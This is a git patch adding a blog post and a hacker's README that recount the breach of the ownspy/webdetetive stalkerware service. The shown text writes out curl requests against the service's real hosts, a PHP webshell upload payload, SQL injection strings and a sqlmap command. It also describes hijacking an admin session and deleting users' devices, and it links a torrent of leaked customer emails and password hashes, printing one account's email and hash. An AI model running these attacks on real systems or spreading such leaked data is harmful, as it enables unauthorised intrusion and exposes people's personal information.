From 964eed7e37f8a1a7831ba311c63eebb36e118460 Mon Sep 17 00:00:00 2001 From: maia arson crimew Date: Fri, 25 Aug 2023 10:30:42 +0200 Subject: [PATCH] ownedspy --- src/posts/fuckstalkerware-3.md | 183 ++++++++++++++ .../files/posts/fuckstalkerware-3/README.txt | 233 ++++++++++++++++++ .../fuckstalkerware-3/ownedspy.zip.torrent | Bin 0 -> 32976 bytes .../img/posts/fuckstalkerware-3/cover.jpg | Bin 0 -> 81918 bytes .../fuckstalkerware-3/privacy-claims.jpg | Bin 0 -> 114634 bytes 5 files changed, 416 insertions(+) create mode 100644 src/posts/fuckstalkerware-3.md create mode 100644 src/static/files/posts/fuckstalkerware-3/README.txt create mode 100644 src/static/files/posts/fuckstalkerware-3/ownedspy.zip.torrent create mode 100644 src/static/img/posts/fuckstalkerware-3/cover.jpg create mode 100644 src/static/img/posts/fuckstalkerware-3/privacy-claims.jpg diff --git a/src/posts/fuckstalkerware-3.md b/src/posts/fuckstalkerware-3.md new file mode 100644 index 0000000..d1977ff --- /dev/null +++ b/src/posts/fuckstalkerware-3.md @@ -0,0 +1,183 @@ +--- +title: "#FuckStalkerware pt. 3 - ownspy got, well, owned" +date: 2023-08-25 +description: "more like ownedspy amiright" +feature_image: /img/posts/fuckstalkerware-3/cover.jpg +feature_alt: "screenshot of the start of a file called README.txt, there is big ascii textart reading 'ownedspy', and text below reads 'ownspy is REALLY REALLY owned!!! #fuckstalkerware #antisec #acab' and 'The #fuckstalkerware games continue. Another one bites the dust.'" +tags: + - "#FuckStalkerware" + - stalkerware + - research + - analysis + - leak + - sqli + - exploit +content_warnings: + - mentions of abuse/controlling behaviour +--- + +> the intro to this series and the concept of stalkerware can be found [here](/posts/fuckstalkerware-0/) + +we continue our series on stalkerware with a write-up and batch of data [sent to me](/contact) by a source last night. this time it is the brazilian [ownspy](https://en.ownspy.com) (aka webdetective and saferspy, by [mobileinnova](http://www.mobileinnova.com)) that has been completely hacked. among other things ownspy claims to be the #1 most privacy focused "parental control app" allegedly featuring E2E encryption, if this sounds too good to be true that's because it mostly is, but more on that later. + +![a text box on a landing page reading: The Most Privacy Focused Parental Control App. OwnSpy is the #1 Parental Control App with E2E Encryption. Since its inception OwnSpy started to encrypt everything on the device. Once you register your account a new key is generated and encrypted with your password. This key is stored only on your device so it will be used to encrypt all your data before being uploaded to OwnSpy servers. We do not have and do not want to have access to your data, so we only store this key on your device. In other words: there is no way to access your data without your personal password. As a result, you should never share your password with anyone, not even us. Like us, Apple always believed that your data belongs only to you.](/img/posts/fuckstalkerware-3/privacy-claims.jpg) + +(i do also think there is something especially distasteful about reading "your data only belongs to you" on the website for a hidden spyware) + +## the technical stuff + +the [write-up](/files/posts/fuckstalkerware-3/README.txt) (which most of this section is a paraphrased, and hopefully somewhat simplified, retelling of) starts off with signing up for a free trial and reverse engineering the mobile app. which lead them to fairly quickly find an endpoint called with merely the generated device id which returns the user accounts email address and password hash (unsalted md5): + +```bash +curl 'https://6287970dd9.era3000.com/server/?cmd=isreg&id=d41d8cd98f00b204e9800998ecf8427e' +``` + +```json +{ + "registered": 1, + "email": "martinsalan578@gmail.com", + "account_type": "3", + "tracking": 0, + "trackingrate": 120, + "checkrate": 120, + "userpass": "30d8696be94bed700c6e85f219f7db5b", +[...] +``` + +### enumeration? + +this obviously invites simple enumerations over all device ids, a quick look at the android app source code (decompiled using [jadx](https://github.com/skylot/jadx)) however shows that the ID is generated by creating an md5 hash of one of the following sources, + +```java +String str2 = Build.SERIAL; +String macAddress = ((WifiManager) getApplicationContext().getSystemService("wifi")).getConnectionInfo().getMacAddress(); +String string = Settings.Secure.getString(getApplicationContext().getContentResolver(), "android_id"); +String str3 = ((TelephonyManager) systemService).getDeviceId(); +``` + +which is way too much entropy for simple enumeration, all of these parameters are way too complex to enumerate on their own. + +### webshell? + +the hunt continues. once again, as so often with the badly coded php backends to stalkerware apps, the photo upload endpoint allows for arbitrary uploads, so will a webshell work (see the [previous entry in this series](/posts/fuckstalkerware-2/) for more on webshells)? + +```bash +curl 'https://6287970dd9.era3000.com/server/?cmd=newjson&id=d41d8cd98f00b204e9800998ecf8427e&v=798e70a44d93b2fe85e1aa8a3049bfb0' --data '@payload.json' +``` + +```json +// payload.json: +{ + "type": "photo", + "content": [{"data": "PD9waHAgcGhwaW5mbygpOwo=", "name": "photo.php", "encrypted": 0}] +} +``` + +while the upload succeeded, this didn't work out either, as photos are served to the dashboard via a php script rather than directly from their path, and unless they could've guessed the path to which images are uploaded to there wasn't any way to get a webshell to execute either. + +### sql injection? + +after none of the above attempts had worked and nothing else stuck to the data apis or the user dashboard my source proceeded to take a look at further ownspy infrastructure. which is how they stumbled onto an interesting seeming subdomain with an expired and invalid certificate, `webdetective.era3000.com` - some sort of admin panel. + +a basic attempt at [sql injection](https://en.wikipedia.org/wiki/SQL_injection) (sqli) by submitting a single quote in the login form yielded the following: + +```bash +curl -k "https://webdetetive.era3000.com/login.php" --data "email=te'st@gmail.com&password=test" +``` +```html +[...] +
+ Fatal error: Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/login.php on line 7 and defined in /home/ownspy/mysql.php:122 + Stack trace: + #0 /home/ownspy/admin_saferespiao/login.php(7): mysql_fetch_assoc(false) + #1 {main} + thrown in /home/ownspy/mysql.php on line 122
+[...] +``` + +oh hell yea, successful sqli! upon then trying to exploit the sqli to forcibly log in to the admin panel it just errors out again, making it clear this forgotten about web app was not just vulnerable but also broken. well, at least it was still possible to get some data with [sqlmap](https://sqlmap.org/) + +```bash +sqlmap --data 'email=test@gmail.com&password=tesst' -u 'https://webdetetive.era3000.com/login.php' --risk 3 --dbms mysql --tables --exclude-sysdbs +``` + +```md +Database: mobileinnova +[5 tables] ++--------------------+ +| log | +| addfunds_options | +| affiliates | +| log_saferespiao | +| log_saferspy | ++--------------------+ + +Database: ownspy_saferespiao +[75 tables] ++--------------------+ +| Postcodes | +| export | +| log | +| abperson | +| abvalue | +| account_notes | +| affiliates | +| analysis | +| apps | +[...] +| tmpcar | +| tmptable | +| twitter | +| twitter_chats | +| twitter_profiles | +| users | +| video | +| webhistory | +| whatsapp | +| whatsapplite | +| whatsapplite2 | +| wordlist | +| words | +| wordsdetected | +| wx_contacts | +| wx_msgs | +| youtube | ++--------------------+ +``` + +this is good enough to grab tablenames, but (while technically possible) dumping the entire database via boolean sqli is super slow and will take forever. there had to still be a better way. + +the first manual injection attempt our source did, it might not have resulted in access to the admin panel, but it did create a session cookie `OWNSESS=h3car4ccebhb71glq2f7bhu91g`, they decided to go ahead and try if it is valid anywhere else. on the user facing control panel (`paineldecontrole.webdetetive.com.br`) it results in a page saying the subscription is expired and redirects to the main page. so their session is valid but not very useful here! + +looking more at the invalid and expired SSL cert for `webdetetive.era3000.com` reveals that it IS valid for another domain, `admin.webdetetive.com.br`, which has an identical admin panel. the sqli however doesn;t work here, making it appear that this is not the exact same panel. however the login is bypassed using the `OWNSESS` cookie from earlier! + +### grabbing the data! + +it is now fairly simple to list all customers and grab their device ids + +```bash +grep -h '09E19F61F4A08DFDAE6FA7D2072C02DF + 3B8FF69FC51EB1D21315D532942C1B26 + E5BD7C87E0A50BBCECF90D83817BD6EA + 41832A25F3F1AC3F6E5C9A6E08B44733 + 1F89710FD9678F30225B96D371CC4AB5 +``` + +feeding those back into the `isreg` url from the very start then let them get the user data for all users (most notably email addresses + MD5 passwords). + +the write-up then claims that "the admin panel also lets us impersonate any user in the user dashboard at paineldecontrole.webdetetive.com.br and spy on their device," none of that data has been made available to me in the release and they go on to make it clear all devices were deleted from user accounts, "Because we could. Because #fuckstalkerware." + +the release message then ends here in "Greetz to LeopardBoy and the Decepticons." + +## the release + +other than the write-up the package i was sent contained a text file with all device ids, a text file with users listed in `:` format (hi and welcome to my blog post troy hunt), as well as the raw admin portal and isreg scraping results, containing additional user data, some info on target device (phone type, os version, ownspy version), all user sign in IPs and dates and payment history. i have decided to republish this data as is, i have no interest in protecting stalkers and given victim data has been deleted there is little risk of direct additional compromises. + +**ownedspy.zip (ZIP, 151405 files, 368MB), available as a [torrent](/files/posts/fuckstalkerware-3/ownedspy.zip.torrent) ([magnet](magnet:?xt=urn:btih:cf0cc9cd6dae802d2bf415ccb4cc9b29c32a04f0&dn=ownedspy.zip))** + +## basic analysis + +we don't have a lot of data to work with here, so this won't be super in depth, but what we do know is that ownspy has almost 75K users and over 76K registered devices (this makes sense since sign up for ownspy works via the mobile app on the target device). looking through the list of email addresses for potentially interesting users as always, reveals over 100 government email addresses, all of them from the brazilian government, and as far as i can tell all of the im education (teacher, education department and student addresses). \ No newline at end of file diff --git a/src/static/files/posts/fuckstalkerware-3/README.txt b/src/static/files/posts/fuckstalkerware-3/README.txt new file mode 100644 index 0000000..d3c39a5 --- /dev/null +++ b/src/static/files/posts/fuckstalkerware-3/README.txt @@ -0,0 +1,233 @@ + __ + ____ _ ______ ___ ____/ /________ __ __ + / __ \ | /| / / __ \/ _ \/ __ / ___/ __ \/ / / / +/ /_/ / |/ |/ / / / / __/ /_/ (__ ) /_/ / /_/ / +\____/|__/|__/_/ /_/\___/\__,_/____/ .___/\__, / + /_/ /____ + ownspy is REALLY REALLY owned!!! + #fuckstalkerware #antisec #acab + +The #fuckstalkerware games continue. +Another one bites the dust. + +This time the Brazilian ownspy aka mobileinnova aka webdetetive aka saferspy. + +We start off by signing up for a free trial and reverse engineering the APK +and noticed that during the registration proces our own email address and +password hash (unsalted md5) would be echoed back to us, given only the +generated device ID. + +# curl 'https://6287970dd9.era3000.com/server/?cmd=isreg&id=d41d8cd98f00b204e9800998ecf8427e' + +{ + "registered": 1, + "email": "martinsalan578@gmail.com", + "account_type": "3", + "tracking": 0, + "trackingrate": 120, + "checkrate": 120, + "userpass": "30d8696be94bed700c6e85f219f7db5b", + ... + +Are the device IDs in any way predictable that would allow us to enumerate this +data for all of ownspy's users? + +jadx tells us that depending on the Android SDK version and permissions, ownspy +will use one of these sources as the device ID (after md5summing it): + +String str2 = Build.SERIAL; +String macAddress = ((WifiManager) getApplicationContext().getSystemService("wifi")).getConnectionInfo().getMacAddress(); +String string = Settings.Secure.getString(getApplicationContext().getContentResolver(), "android_id"); +String str3 = ((TelephonyManager) systemService).getDeviceId(); + +Too much entropy. None of these are very easily enumerable. Could there be a +better way? The upload photo function lets us upload any file to ownspy's +servers, how about a webshell? + +# curl 'https://6287970dd9.era3000.com/server/?cmd=newjson&id=d41d8cd98f00b204e9800998ecf8427e&v=798e70a44d93b2fe85e1aa8a3049bfb0' \ + --data '@payload.json' + +{ + "type": "photo", + "content": [{"data": "PD9waHAgcGhwaW5mbygpOwo=", "name": "photo.php", "encrypted": 0}] +} + +No luck here either. The images in the user dashboard are served through a PHP +script, not directly off the web root. + +Unless we can somehow guess the path where the images are uploaded, we can't +execute our webshell. + +Well, how about SQL injection? + +After hitting our heads against the user dashboard and the data submission API, +and not finding anything, we decided to take a closer look at ownspy's +infrastructure and noticed a curious subdomain: webdetetive.era3000.com +serving some sort of admin panel for webdetetive. + +Invalid, expired SSL certificate. Let's try putting a single-quote in the login +field and see what happens: + +# curl -k https://webdetetive.era3000.com/login.php \ + --data "email=te'st@gmail.com&password=test" + +
+ Fatal error: Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/login.php on line 7 and defined in /home/ownspy/mysql.php:122 + Stack trace: + #0 /home/ownspy/admin_saferespiao/login.php(7): mysql_fetch_assoc(false) + #1 {main} + thrown in /home/ownspy/mysql.php on line 122
+ +Aha! We've got SQL injection. Let's just let ourselves into the admin panel: + +# curl -kL -H 'Cookie: OWNSESS=h3car4ccebhb71glq2f7bhu91g' \ + https://webdetetive.era3000.com/login.php \ + --data-raw "email=test@gmail.com' OR id=1 -- - &password=test" +
+ Fatal error: Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/panel.php on line 15 and defined in /home/ownspy/mysql.php:122 + Stack trace: + #0 /home/ownspy/admin_saferespiao/panel.php(15): mysql_fetch_assoc(false) + #1 {main} + thrown in /home/ownspy/mysql.php on line 122
+ +Too bad! The admin panel on the forgotten domain with the expired SSL +certificate is broken. Still, we can get some data out with sqlmap: + +# sqlmap --data 'email=test@gmail.com&password=tesst' \ + -u 'https://webdetetive.era3000.com/login.php' \ + --risk 3 --dbms mysql --tables --exclude-sysdbs + +Database: mobileinnova +[5 tables] ++--------------------+ +| log | +| addfunds_options | +| affiliates | +| log_saferespiao | +| log_saferspy | ++--------------------+ + +Database: ownspy_saferespiao +[75 tables] ++--------------------+ +| Postcodes | +| export | +| log | +| abperson | +| abvalue | +| account_notes | +| affiliates | +| analysis | +| apps | +| appsicons | +| appsinstalled | +| audio | +| audiomail | +| betachannel | +| callhistory | +| callrecording | +| commands_history | +| commands_list | +| customblacklist | +| customplaces | +| devices | +| downloads | +| dsns | +| facebooklite | +| geofences | +| geofences_events | +| giftcodes | +| images | +| instagram | +| instagram_profiles | +| invoices | +| keylog | +| kik | +| languages | +| lastlocation | +| location | +| mail_list | +| mailing | +| newdevices | +| notif | +| old_devices | +| oldplaces | +| paytweet | +| pending_commands | +| pending_devices | +| places | +| preregister | +| preusers | +| pricechart | +| push_service | +| qq_contacts | +| qq_msgs | +| register_code | +| routes | +| sentmail_list | +| sms_commands | +| sms_list | +| timeline | +| tmpcar | +| tmptable | +| twitter | +| twitter_chats | +| twitter_profiles | +| users | +| video | +| webhistory | +| whatsapp | +| whatsapplite | +| whatsapplite2 | +| wordlist | +| words | +| wordsdetected | +| wx_contacts | +| wx_msgs | +| youtube | ++--------------------+ + +Boolean SQL injection is so slow, though! +We will be waiting forever to get all the device IDs this way. +Could there be a better way? + +That session cookie we got, OWNSESS=h3car4ccebhb71glq2f7bhu91g? +Could it be that with our first manual injection attempt, even though the admin +panel was broken, we've managed to create a valid admin session that we can use +elsewhere? + +Trying it on paineldecontrole.webdetetive.com.br tells us that our subscription +is expired and redirects us to the main page. Looks like the session is indeed +valid, but we need to find a better place to use it. + +Why was the SSL certificate for webdetetive.era3000.com invalid? It's expired. +It's valid for another domain, admin.webdetetive.com.br, which at first glance +appears to be serving an identical admin panel. But our SQL injection does not +work here. We couldn't bypass the login the same way. + +Is it actually a different version of the admin panel? + +Let's set the OWNSESS cookie to the same value we used on +webdetetive.era3000.com and go to https://admin.webdetetive.com.br/panel.php. + +It works! We're in. And we can list all of ownspy's customers and get their +device IDs: + +# grep -h '09E19F61F4A08DFDAE6FA7D2072C02DF + 3B8FF69FC51EB1D21315D532942C1B26 + E5BD7C87E0A50BBCECF90D83817BD6EA + 41832A25F3F1AC3F6E5C9A6E08B44733 + 1F89710FD9678F30225B96D371CC4AB5 + +We can feed these back into 6287970dd9.era3000.com/server/?cmd=isreg and get +every user's email address ad unsalted md5 hash. + +In case we were unsatisfied, the admin panel also lets us impersonate any user +in the user dashboard at paineldecontrole.webdetetive.com.br and spy on their +device. + +We can also delete devices from every user's account so they stop submitting +new data. Which we definitely did. Because we could. Because #fuckstalkerware. + +Greetz to LeopardBoy and the Decepticons. diff --git a/src/static/files/posts/fuckstalkerware-3/ownedspy.zip.torrent b/src/static/files/posts/fuckstalkerware-3/ownedspy.zip.torrent new file mode 100644 index 0000000000000000000000000000000000000000..27a734c88f838280a79e018f344e20c2165de845 GIT binary patch literal 32976 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 